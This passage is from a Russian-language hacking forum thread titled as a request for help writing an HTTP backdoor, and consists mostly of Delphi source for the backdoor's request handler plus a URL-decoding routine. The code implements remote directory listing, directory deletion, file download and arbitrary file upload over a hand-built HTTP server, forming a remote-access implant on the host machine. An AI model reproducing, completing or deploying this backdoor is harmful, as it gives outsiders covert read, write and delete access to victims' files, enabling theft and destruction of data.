CloseSocket(csocket); end; 3:begin // OPEN DIR SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-4); fn:=UrlToStr(fn); ListDir(csocket,maindir+fn); CloseSocket(csocket); end; 4:begin //DELET DIR fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); fn:=UrlToStr(fn); DeleteDIR(maindir+fn); SendToClient(csocket,Location()); CloseSocket(csocket); end; 5:begin // DOWNLOAD fn:= copy(mainbuf,3 ,pos('HTTP/1.1',MainBuf)-5); fn:=UrlToStr(fn); GetFile(csocket,maindir+fn); end; 6:begin // UPLOAD SendToClient(csocket,header()); SendToClient(csocket,body()); SendToClient(csocket,Menu()); SendToClient(csocket,UpFile()); CloseSocket(csocket); end; 7:begin // UPLOAD //MessageBox(0, PChar(mainbuf),PChar('WARNING!'), 0); fn:= copy(mainbuf,9 ,pos('upload.php',MainBuf)-9); fn:=UrlToStr(fn); // MessageBox(0, PChar(fn),PChar('WARNING!'), 0); len5:=pos('Content-Type: multipart/form-data; ',MainBuf); save_hesh:= copy(mainbuf,len5,length(mainbuf)); delete(save_hesh,1,pos('boundary=',save_hesh)+8); save_hesh:= copy(save_hesh,1,pos(#13#10,save_hesh)-1); // MessageBox(0, PChar(save_hesh),PChar('WARNING!'), 0); StopFlag:=false; f:= TStringList.Create(); repeat len6:=0; len:=recv(csocket,tmpbuf^,2048,0); if len&gt;0 then MainBuf:=MainBuf+copy(tmpbuf,0,len); len6:=pos('Content-Disposition: form-data; name="filename"; filename="',MainBuf); if len6&gt;0 then begin filename:= copy(mainbuf,len6+59,length(mainbuf)); filename:= copy(filename,1,pos('"',filename)-1); // MessageBox(0, PChar(filename),PChar('filename!'), 0); end; if pos(save_hesh+'--',MainBuf)&gt;0 then StopFlag:=true; //MessageBox(0, PChar(MainBuf),PChar('sours'), 0); until (len&lt;=0) or (StopFlag); delete(mainbuf,1,pos(save_hesh,mainbuf)+length(save_hesh)); na4inka:= copy(mainbuf,pos(#13#10#13#10,mainbuf)+4,pos('--'+save_hesh+'--',mainbuf)); delete(na4inka,(length(na4inka)-length(save_hesh)-8),length(mainbuf)); // MessageBox(0, PChar(na4inka),PChar('na4inka'), 0); f.Add(na4inka); f.SaveToFile(maindir+fn+filename); f.Free; CloseSocket(csocket); end; else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end else begin SendToClient(csocket,NotFound); CloseSocket(csocket); end; end; end. unit Unit1; interface function UrlDecode(const Str: string): string; implementation function HexToChar(W: Word): Char; asm cmp ah, 030h jl @@error cmp ah, 039h jg @@10 sub ah, 30h jmp @@30 @@10: cmp ah, 041h jl @@error cmp ah, 046h jg @@20 sub ah, 041h add ah, 00Ah jmp @@30 @@20: cmp ah, 061h jl @@error cmp al, 066h jg @@error sub ah, 061h add ah, 00Ah @@30: cmp al, 030h jl @@error cmp al, 039h jg @@40 sub al, 030h jmp @@60 @@40: cmp al, 041h jl @@error cmp al, 046h jg @@50 sub al, 041h add al, 00Ah jmp @@60 @@50: cmp al, 061h jl @@error cmp al, 066h jg @@error sub al, 061h add al, 00Ah @@60: shl al, 4 or al, ah ret @@error: xor al, al end; function GetCh(P: PChar; var Ch: Char): Char; begin Ch := P^; Result := Ch; end; { GetCh } function UrlDecode(const Str: string): string; var P : PChar; Ch : Char; begin Result := ''; P := @Str[1]; while GetCh(P, Ch) &lt;&gt; #0 do begin case Ch of '+' : Result := Result + ' '; '%' : begin Inc(P); Result := Result + HexToChar(PWord(P)^); Inc(P); end; else Result := Result + Ch; end; Inc(P); end; end; end.
Post #: 5
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> прошу помощи в написании http Backdoor







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.